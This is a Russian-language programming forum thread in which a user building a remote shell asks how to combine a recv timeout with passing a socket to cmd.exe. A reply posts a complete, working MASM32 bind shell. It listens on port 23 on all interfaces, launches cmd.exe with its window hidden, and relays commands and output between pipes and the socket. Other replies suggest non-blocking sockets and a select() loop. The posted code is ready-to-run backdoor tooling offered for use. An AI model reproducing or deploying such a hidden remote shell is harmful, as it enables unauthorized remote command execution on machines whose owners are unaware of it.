WSAsecket, кусм + timeout ?

Тема в разделе "WASM.NETWORKS", создана пользователем test555, 1 дек 2010.

  1. test555

    test555 New Member

    Публикаций:
    0
    Регистрация:
    7 дек 2007
    Сообщения:
    241
    Добрый день.

    Программирую удаленный шелл:
    Мое приложение создает сокет, слушает порт, принимает соединения, потом авторизация, если все успешно, то Createprocess(nil, 'cmd.exe',... )
    В структуре lpStartupInfo указываем хендл сокета для ввода/вывода. С этим проблем нет.

    используются функции:
    WsaSocket, recv, CreateProcess..

    Хочу сделать таймаут для recv (чтобы прога не висла, т.к. все в одном потоке идет).

    Для этого я уже использую
    socket, setsockopt(..SOL_SOCKET, SO_RCVTIMEO...), recv, Createprocess

    Таймаут срабатывает, но вот на клиенте ничего не выводит (строки приветствия командной строки).
    Эксперименты подтвердили, что дело в блокирующих и неблокирующих сокетах, т.е. WsaSocket создает неблокирующий сокет (как я понял), и только такой сокет может быть передан как lpStartupInfo.hStdInput.
    Но в этом случае не работает тайм-аут.

    Вопрос: как можно подружить таймаут на recv и функцию Createprocess с параметром lpStartupInfo.hStdInput:=SOcketClient;

    Варианты были что создать через socket, отработать операцию с таймаутом, потом неким образом сделать его неблокирующем, чтобы уже получать удаленный шелл..

    Копался в яндексе, предлагается через окна и какие-то уведомления делать... Это слишком сложно и не подходит..

    Секс за подсказки.
     
  2. test555

    test555 New Member

    Публикаций:
    0
    Регистрация:
    7 дек 2007
    Сообщения:
    241
    "Сенкс" конечно же )))
     
  3. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    Шайтан !
    Все так плохо? Держись, я помогу, только не надо так опускать руки ))
     
  4. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    Ты как тестируешь свой шелл, локально?
     
  5. test555

    test555 New Member

    Публикаций:
    0
    Регистрация:
    7 дек 2007
    Сообщения:
    241
    Тестирую: запускаю прогу в которой принимаются коннекты и создается шел, соседней прогой подключаюсь как клиентом (xspider 6.5)
     
  6. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    test555
    То есть все на одной машине.
    А в перспективе бинд-шелл будет в локалке?
    Задача должна быть на asm-е или С можно ?

    а как это xspider 6.5?
    Давай клиент будет обычный telnet.exe?

    Тебе консольное приложение нужно?
     
  7. test555

    test555 New Member

    Публикаций:
    0
    Регистрация:
    7 дек 2007
    Сообщения:
    241
    там в xspider есть TCP соединения, то есть указываешь порт и адрес, жмешь коннект.
    Почти то же что и telnet.

    В перспективе бенд-шелл будет в локалках....

    Язык не важен, так как все равно переписываю все на АСМ... Но понятнее сишник.
     
  8. Com[e]r

    Com[e]r Com[e]r

    Публикаций:
    0
    Регистрация:
    20 апр 2007
    Сообщения:
    2.624
    Адрес:
    ого..
    лучше многопоточность,
    лучше пайпы (?),
    лучше ioctlsocket( result, FIONBIO, (PDWORD)"\x01\x00\x00" );
    поздняк метаться
     
  9. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    Ну тогда пойдет вот это ...
    Тебе не setsockopt нужен
    а простым Sleep-ом обойтись можно.

    Очень правильно!

    Код (Text):
    1. .386
    2. .model flat,stdcall
    3. option casemap:none
    4.  
    5. include \masm32\include\windows.inc
    6. include \masm32\include\kernel32.inc
    7. include \masm32\include\user32.inc
    8. include \masm32\include\wsock32.inc
    9.  
    10. includelib \masm32\lib\kernel32.lib
    11. includelib \masm32\lib\user32.lib
    12. includelib \masm32\lib\wsock32.lib
    13.  
    14. .data
    15.     PORT        equ 23
    16.     szCommandLine   byte 'cmd.exe', 0
    17.  
    18. .code
    19. ;=========================================================
    20. ShellClient proc dwSock:dword
    21.  
    22. ; Создание необходимых структур для
    23. ; работы с пайпами.
    24. local sat:SECURITY_ATTRIBUTES
    25. local pipe1out_conin:dword      ; <- Дескрипторы пайпов
    26. local pipe2out_send:dword
    27. local recv_pipe1in:dword
    28. local conout_pipe2in:dword
    29. local startupinfo:STARTUPINFO
    30. local processinfo:PROCESS_INFORMATION
    31. local exitcode:dword
    32. local buffer[1024]:byte
    33. local bytes:dword
    34. local available:dword
    35. local data:dword
    36.     ; устанавливает атрибуты безопасности
    37.     mov sat.nLength, sizeof SECURITY_ATTRIBUTES
    38.     mov sat.lpSecurityDescriptor, 0
    39.     mov sat.bInheritHandle, TRUE
    40.  
    41.     ; Создание пайпов
    42.     ; Здесь sat - это указатель на структуру типа SECURITY_ATTRIBUTES
    43.     invoke  CreatePipe, addr pipe1out_conin, addr recv_pipe1in, addr sat, 0
    44.     invoke  CreatePipe, addr pipe2out_send, addr conout_pipe2in, addr sat, 0
    45.     invoke  GetStartupInfo, addr startupinfo
    46.  
    47.     ; Подмена дескрипторов
    48.     ; Здесь startupinfo - это структура STARTUPINFO для запуска процесса
    49.     ; Взвести эти флаги просто необходимо!
    50.     mov startupinfo.cb, sizeof STARTUPINFO
    51.     mov eax, conout_pipe2in
    52.     mov startupinfo.hStdOutput, eax ;вместо STDOUT использовать conout_pipe2in
    53.     mov startupinfo.hStdError, eax  ;вместо STDERR использовать conout_pipe2in
    54.     mov eax, pipe1out_conin
    55.     mov startupinfo.hStdInput, eax  ;вместо STDIN  использовать pipe1out_conin
    56.     mov startupinfo.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
    57.     mov startupinfo.wShowWindow, SW_HIDE    ;прячем окно процесса
    58.     invoke  CreateProcess, 0, addr szCommandLine,\
    59.             0, 0, TRUE, CREATE_NEW_CONSOLE,\
    60.             0, 0, addr startupinfo,\
    61.             addr processinfo
    62.     invoke  CloseHandle, conout_pipe2in
    63.     invoke  CloseHandle, pipe1out_conin
    64.     mov bytes, 1
    65.  
    66.     ; Проверка состояний сокета. Есть что прочитать ?
    67.     invoke  ioctlsocket, dwSock, FIONBIO, addr bytes
    68.     .while  TRUE
    69.         invoke  Sleep, 1
    70.         ; Пока не завершится процесс,
    71.         ; читаем/пишем из пайпа в сокет и наоборот.
    72.         invoke  GetExitCodeProcess,\
    73.             processinfo.hProcess,\ 
    74.             addr exitcode
    75.         .if exitcode != STILL_ACTIVE
    76.             .break
    77.         .endif
    78.  
    79.         ; Проверка состояний канала. Есть что прочитать ?
    80.         ;BOOL PeekNamedPipe(
    81.         ;HANDLE hNamedPipe, // handle для pipe
    82.         ;LPVOID lpBuffer,   // Буфер для данных
    83.         ;DWORD nBufferSize, // Размер буфера для данных
    84.         ;LPDWORD lpBytesRead,// Количество читаемых байтов
    85.         ;LPDWORD lpTotalBytesAvail, // Количество доступных для чтения байт
    86.         ;LPDWORD lpBytesLeftThisMessage// Количество непрочитанных данных
    87.         ;);
    88.  
    89.         invoke  PeekNamedPipe, pipe2out_send,\ 
    90.                 addr buffer, 1024,\
    91.                 addr bytes, addr available,\
    92.                 0
    93.         .if bytes != 0
    94.             ; Количество доступных для чтения байт > 1024
    95.             .if available > 1024
    96.                     .while bytes >= 1024; Количество читаемых байтов >1024
    97.                         invoke  Sleep, 1
    98.                     ; Читаем из пайпа 2
    99.                         invoke  ReadFile, pipe2out_send,\
    100.                         addr buffer, 1024,\
    101.                         addr bytes, 0
    102.                         .if bytes != 0
    103.                         ; Вывод в telnet
    104.                                 invoke  send, dwSock,\
    105.                             addr buffer, bytes,\
    106.                             0
    107.                         .endif
    108.                     .endw
    109.             .else
    110.                 ; Читаем из пайпа 2
    111.                     invoke  ReadFile, pipe2out_send,\
    112.                         addr buffer, 1024,\
    113.                         addr bytes, 0
    114.                     .if bytes != 0
    115.                         ; Вывод в telnet
    116.                     invoke  send, dwSock,\
    117.                         addr buffer, bytes,\
    118.                         0
    119.                 .endif
    120.             .endif    
    121.         .endif
    122.  
    123.         ; Читаем из сокета
    124.         invoke  recv, dwSock, addr buffer, 1024, 0
    125.         .if eax == SOCKET_ERROR || eax == 0
    126.             invoke  WSAGetLastError
    127.             .if eax == WSAEWOULDBLOCK
    128.                 .continue
    129.             .else
    130.                 invoke  TerminateProcess, processinfo.hProcess, 0
    131.                 .break
    132.             .endif
    133.         .else
    134.             mov edx, eax
    135.             ; Пишем в пайп   
    136.             invoke  WriteFile, recv_pipe1in,\
    137.                 addr buffer, edx,\
    138.                 addr bytes, 0
    139.         .endif
    140.     .endw
    141.     invoke  CloseHandle, recv_pipe1in
    142.     invoke  CloseHandle, pipe2out_send
    143.     invoke  closesocket, dwSock
    144.     ret
    145. ShellClient endp
    146. ;=========================================================
    147.  
    148.  
    149. Shelld proc
    150. local SockAddrIn:sockaddr_in
    151. local dwSock:dword
    152. local dwMode:dword
    153. local WSAData:WSADATA
    154.  
    155.     invoke  WSAStartup, 101h, addr WSAData
    156.     invoke  socket, PF_INET, SOCK_STREAM, 0
    157.     mov dwSock, eax
    158.     mov SockAddrIn.sin_family, AF_INET
    159.     invoke  htons, PORT
    160.     mov SockAddrIn.sin_port, ax
    161.     mov SockAddrIn.sin_addr, INADDR_ANY
    162.     invoke  bind, dwSock, addr SockAddrIn, sizeof SockAddrIn
    163.     mov dwMode, 1
    164.     invoke  ioctlsocket, dwSock, FIONBIO, addr dwMode
    165.     ; Ждем подключений
    166.     invoke  listen, dwSock, SOMAXCONN
    167. @@:
    168.     ; Принимаем подключение и создаем поток ShellClient
    169.     invoke  accept, dwSock, addr SockAddrIn, 0
    170.     .if eax != INVALID_SOCKET
    171.         mov edx, eax
    172.         invoke  CreateThread, 0, 0, addr ShellClient, edx, 0, 0
    173.         invoke  CloseHandle, eax
    174.     .endif
    175.     invoke  Sleep, 1000
    176.     jmp @B
    177. ret
    178. Shelld endp
    179. ;=========================================================
    180.  
    181.  
    182.  
    183. start:
    184.     invoke  Shelld
    185.     invoke  ExitProcess, 0
    186. end start
    Пробуй.
     
  10. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    Для пущей ясности ...

    [​IMG]
     
  11. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    И еще, тут наглядней ...
    [​IMG]
     
  12. test555

    test555 New Member

    Публикаций:
    0
    Регистрация:
    7 дек 2007
    Сообщения:
    241
    ээээ, а что попроще есть?
     
  13. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    В смысле, так а что не устраивает,
    или что пугает тут конкретно?
     
  14. Com[e]r

    Com[e]r Com[e]r

    Публикаций:
    0
    Регистрация:
    20 апр 2007
    Сообщения:
    2.624
    Адрес:
    ого..
    поправил, ибо что может быть проще пайпов или нонблокинг-лупа в 20 строк?
     
  15. Mentor

    Mentor New Member

    Публикаций:
    0
    Регистрация:
    13 окт 2010
    Сообщения:
    67
    блин, ну селекты же

    Код (Text):
    1. fd_set fds;
    2. FD_ZERO(&fds);
    3. FD_SET(socket_fd, &fds);
    4. FD_SET(pipe_fd, &fds);
    5. struct timeval timeout;
    6. timeout.tv_sec = 1;
    7. timeout.tv_usec = 0;
    8. if (select(0, &fds, NULL, NULL, &timeout) > 0) {
    9.    if (FD_ISSET(socket_fd, &fds))
    10.          recv_from_socket_and_send_to_pipe();
    11.  
    12.    if (FD_ISSET(pipe_fd, &fds))
    13.          recv_from_pipe_and_send_to_socket();
    14.  
    15. }